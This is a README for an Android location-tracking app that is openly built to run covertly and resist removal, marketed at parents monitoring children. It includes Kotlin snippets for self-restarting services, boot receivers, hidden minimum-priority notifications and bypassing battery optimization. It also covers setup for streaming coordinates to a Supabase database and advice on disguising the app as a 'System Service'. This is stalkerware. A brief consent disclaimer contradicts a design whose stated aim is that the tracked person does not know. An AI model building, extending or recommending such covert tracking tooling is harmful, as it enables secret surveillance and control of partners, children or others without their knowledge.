When you need to know where they are, but they don't need to know you're watching ๐
Yo, so basically this is THE most hardcore location tracking app you'll ever see. No cap. This thing is designed to be absolutely invisible and unstoppable. Once it's running, good luck trying to stop it (unless you literally uninstall it or force-stop it in settings).
Built this for parents who are tired of their kids "forgetting" to check in or mysteriously having their location sharing turned off. This app doesn't ask for permission - it just works. Silently. Continuously. Forever.
- Invisible notifications - Uses Android's lowest priority so it basically doesn't exist in your notification bar
- Survives app kills - Swipe it away from recents? Cute. It'll restart itself
- Background immortality - Keeps running even when the phone "sleeps"
- Auto-restart on boot - Phone restarts? App's already back up before you unlock it
- Battery optimization bypass - Asks to be excluded from battery saving (politely, but firmly)
- Foreground service abuse - Runs as a "system service" so Android thinks it's important
- Wake lock magic - Prevents CPU from sleeping when getting location
- AlarmManager backup - If the service dies, an alarm brings it back to life
- Multiple receivers - Boot, package updates, quick boot - it catches everything
- STICKY service - Android literally can't kill it permanently
- Live location updates - See location changes as they happen (30-60 second intervals)
- WebSocket connections - Direct pipeline to your database
- Auto-reconnection - Connection drops? Reconnects automatically
- Privacy-focused - Only keeps the latest location (auto-deletes old ones)
- Latest location only - Database automatically yeeets old locations
- Encrypted HTTPS - All data transmission is secure
- Row-level security - Database locked down tight
- Anonymous access - No user accounts needed
- Kotlin - Because Java is for boomers
- Jetpack Compose - Modern UI that looks clean AF
- Coroutines - Async operations that don't block the UI
- Google Play Services - For that sweet, sweet location accuracy
- PostgreSQL - Database that can handle anything you throw at it
- Real-time subscriptions - WebSocket magic for instant updates
- Row Level Security - Fort Knox level database protection
- Auto-cleanup triggers - Database that cleans itself
- Retrofit - HTTP client that just works
- OkHttp - Network interceptors and retry logic
- Custom DNS resolver - Bypasses private DNS issues
- WebSocket client - Real-time connection that never gives up
// This is how we make Android think we're essential
override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int {
return START_STICKY // Android: "Oh, this must be important"
}
// When user swipes app away
override fun onTaskRemoved(rootIntent: Intent?) {
// Sneaky restart via AlarmManager
scheduleServiceRestart()
super.onTaskRemoved(rootIntent)
}
- Grabs a partial wake lock to keep CPU alive during location updates
- Releases it immediately after to avoid battery drain
- Android thinks it's just a quick system operation
NotificationCompat.Builder(context, CHANNEL_ID)
.setImportance(NotificationManager.IMPORTANCE_MIN) // Basically invisible
.setPriority(NotificationCompat.PRIORITY_MIN) // Android ignores it
.setVisibility(NotificationCompat.VISIBILITY_SECRET) // Hidden from lock screen
.setShowWhen(false) // No timestamp
.setSound(null) // Silent AF
Listens for:
ACTION_BOOT_COMPLETED
- Standard bootACTION_QUICKBOOT_POWERON
- Samsung/HTC fast bootACTION_MY_PACKAGE_REPLACED
- App updates- Custom manufacturer boot actions
// Politely asks to be excluded from battery optimization
val intent = Intent(Settings.ACTION_REQUEST_IGNORE_BATTERY_OPTIMIZATIONS)
intent.data = Uri.parse("package:$packageName")
- Create a Supabase account (it's free)
- Create a new project
- Go to SQL Editor
- Copy-paste the entire
COMPLETE_SETUP.sql
file - Hit run
- Watch the magic happen โจ
- Open
SupabaseConfig.kt
- Replace the URL with your Supabase project URL
- Replace the anon key with your project's anon key
- Change
CHILD_ID
if you want (or keep it as "child_001")
- Open project in Android Studio
- Hit the build button
- Install on target device
- Grant all permissions (location, background location, battery optimization)
- Start tracking
- Profit ๐
- App asks for location permission - grant it
- Asks for background location - grant it (this is crucial)
- Asks to disable battery optimization - do it
- Hit "Start Stealth Tracking"
- App disappears into the background
- Use the "Test" button to check database connectivity
- Use "Diagnose" for detailed network troubleshooting
- If you see green checkmarks, you're golden
- Open Supabase dashboard
- Go to Table Editor โ locations
- Watch new location records appear every 30-60 seconds
- Only the latest location is kept (privacy first)
This app is designed to be nearly impossible to stop. Here are the ONLY ways:
- Use the stop button in the app (if you can find it lol)
- Force stop in Android settings (Settings โ Apps โ [App Name] โ Force Stop)
- Uninstall the app (nuclear option)
- Turn off location globally (but this breaks other apps too)
Swiping it away from recent apps? Nah. Restarting the phone? Nope. "Optimizing" battery? Not happening.
Change in LocationTrackingService.kt
:
private val LOCATION_INTERVAL = 30000L // 30 seconds (for the impatient)
private val FASTEST_INTERVAL = 15000L // 15 seconds (for the paranoid)
Current: Keeps only the latest location
Want to keep more? Modify the trigger in COMPLETE_SETUP.sql
Want it even more invisible?
- Remove the notification entirely (may cause Android to kill it more often)
- Change notification text to something generic like "System Service"
- Probably private DNS blocking Supabase
- Go to Settings โ Network โ Private DNS โ Off
- Or switch to mobile data to test
- Check if background location permission is granted
- Make sure battery optimization is disabled
- Verify GPS is enabled
- Some manufacturers are extra aggressive (looking at you, Xiaomi)
- Add app to "protected apps" list
- Disable any "auto-start management" restrictions
- Check your Supabase real-time quota
- Verify WebSocket connections aren't blocked by firewall
- Test with mobile data vs WiFi
- Only the latest location is stored
- Old locations are automatically deleted
- No personal info beyond location coordinates
- HTTPS encryption for all data transmission
This app is designed for legitimate family safety use. Make sure you have proper consent before tracking anyone. Don't be creepy. Don't break laws. Use responsibly.
Despite being persistent, this app is designed to be battery-efficient:
- Only requests location every 30-60 seconds
- Uses efficient location APIs
- Releases wake locks immediately after use
- Optimized network requests
Most tracking apps are either:
- Too obvious - big notifications, obvious in app drawer
- Too fragile - easy to disable or stop
- Too limited - only work when app is open
This app is:
- Invisible - runs silently in background
- Persistent - nearly impossible to stop accidentally
- Reliable - continues working through restarts, updates, etc.
- Real-time - updates are instant
- Privacy-focused - doesn't hoard your data
- Multiple device support
- Geofencing alerts
- Better stealth options
- iOS version (maybe, if Apple allows it)
- Web dashboard improvements
- Custom notification disguises
This isn't just another location tracking app. This is a masterclass in Android system manipulation and persistence. It uses every trick in the book to stay alive and invisible.
Built with love, coffee, and a healthy disrespect for Android's attempts to kill background services.
Remember: With great power comes great responsibility. Use this wisely.
P.S. - If you're a kid who found this README while trying to figure out why your location is being tracked... well, now you know. Your parents are just worried about you. Maybe check in more often? ๐
Built by someone who got tired of "my phone died" excuses ๐ฑ๐